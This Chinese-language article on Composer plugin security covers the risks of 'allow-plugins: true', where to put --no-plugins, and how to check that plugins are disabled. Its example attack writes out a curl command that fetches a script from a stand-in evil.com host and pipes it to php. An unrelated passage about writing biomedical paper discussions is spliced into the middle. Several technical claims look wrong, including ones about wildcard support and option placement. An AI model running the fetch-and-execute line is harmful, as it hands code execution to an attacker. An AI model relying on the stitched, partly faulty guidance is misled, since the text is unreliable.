allow-plugins不能设为true，因为这会完全绕过白名单机制，使任意包（包括传递依赖）无需校验即可执行代码，等同于放弃安全防御，极易被供应链攻击利用。
allow-plugins 是唯一可控的插件权限开关，设为 true 等同于放弃防御；生产环境必须用白名单 + --no-plugins 双保险。
为什么 allow-plugins 不能设为 true
Composer 2.2+ 默认拒绝所有插件，"allow-plugins": true 会绕过白名单机制，让任意包（包括传递依赖）自动加载并执行代码。它不校验包来源、不检查签名、不验证 LICENSE，等于把构建期控制权交给整个 Packagist。真实案例中，攻击者通过污染 fork 的 phpunit/phpunit 插件，在 CI 中静默执行 curl http://evil.com/shell.php | php。
-
allow-plugins是项目级配置，写在composer.json的config下，不是全局开关 - 通配符如
"*": true或"vendor/*": true不被识别，会被忽略 - 值必须是布尔型：
"symfony/flex": true合法，"symfony/flex": "true"（字符串）会导致解析失败
--no-plugins 必须出现在命令末尾，且不可被 wrapper 绕过
--no-plugins 是运行时强制跳过插件生命周期的唯一可靠方式：不扫描 vendor/、不读 plugins 字段、不调用 activate()。但它极易写错位置。
围绕关键发现、作用机制、临床相关性及研究局限性展开讨论。适用于撰写或优化任何生物医学论文的“讨论（Discussion）”部分——包括结果解读、与既往文献关联、阐释意外发现、界定研究局限性，以及撰写结论。当用户输入以下任一指令时也会自动触发该功能： - “write my discussion” - “help me discuss my findings” - “how do I compare to prior studies” - “write the limitations par
- ✅ 正确：
composer install --no-plugins、composer update --no-plugins - ❌ 错误：
composer --no-plugins install（等价于composer --help） - CI 脚本若封装了
bin/composer，需确认该脚本未默认添加--plugins或其他 flag - 环境变量
COMPOSER_NO_PLUGINS=1可作为备用，但优先级低于命令行参数，且部分旧版 CI 镜像可能未启用
如何验证插件是否真被禁用，而非“看起来没报错”
终端无输出 ≠ 插件未运行。恶意插件常静默失败或只在特定条件激活。关键看三个信号点：
- 检查
vendor/composer/autoload_plugins.php：若为空文件或根本不存在，说明插件未注册；若含非空数组，说明已加载 - 运行
composer diagnose --verbose，末尾搜索Loading plugin或Activating plugin—— 出现任一即表示失效 - 部署日志中 grep
post-install-cmd、exec(、shell_exec(：很多插件会把逻辑塞进 scripts 钩子，--no-plugins对它无效
插件白名单要定期审查，尤其注意二级依赖带的插件
加一个插件进 allow-plugins 不代表万事大吉。某些工具链（如 Laravel Sail 的 scaffold 工具）会间接 require 另一个插件，而那个插件不在白名单里，导致 composer install 直接失败。
- 运行
composer show vendor/name，确认输出含type: composer-plugin，且没有PluginInterface::activate()外的危险调用（如exec()、file_put_contents('/etc/passwd')） - 加完白名单后，立刻跑
composer install --dry-run：若仍报The plugin xxx is not allowed to be loaded，说明有隐式依赖的插件未授权 - 不要信任
extra.plugin字段——它只是提示，真正起效的是type: composer-plugin+autoload+class三者匹配
最易被忽略的一点：--no-plugins 不影响 scripts，也不阻止 vendor/bin/ 下的可执行文件运行。它们是独立攻击面，必须用 --no-scripts 单独关掉。
